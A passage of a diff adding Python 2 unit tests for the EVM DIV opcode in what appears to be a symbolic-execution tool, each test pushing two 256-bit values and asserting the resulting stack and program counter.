+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [7237005577332262213973186563042994240829374041602535252466099000494570602495L])
+
+    def test_DIV_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301247L])
+
+    def test_DIV_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [226156424291633194186662080095093570025917938800079226639565593765455331328L])
+
+    def test_DIV_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_DIV_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2])
+
+    def test_DIV_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3])
+
+    def test_DIV_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [380599384721589301615542925186532036368732432L])
+
+    def test_DIV_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301247L])
+
+    def test_DIV_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1809251394333065553493296640760748560207343510400633813116524750123642650623L])
+
+    def test_DIV_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [113078212145816597093331040047546785012958969400039613319782796882727665664L])
+
+    def test_DIV_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_DIV_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_DIV_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [190299692360794650807771462593266018184366216L])
+
+    def test_DIV_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2412335192444087404657728854347664746943124680534178417488699666831523534165L])
+
+    def test_DIV_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1206167596222043702328864427173832373471562340267089208744349833415761767082L])
+
+    def test_DIV_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [75385474763877731395554026698364523341972646266693075546521864588485110442L])
+
+    def test_DIV_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_DIV_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_DIV_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [126866461573863100538514308395510678789577477L])
+
+    def test_DIV_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [19014759003423441022450548080640L])
+
+    def test_DIV_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
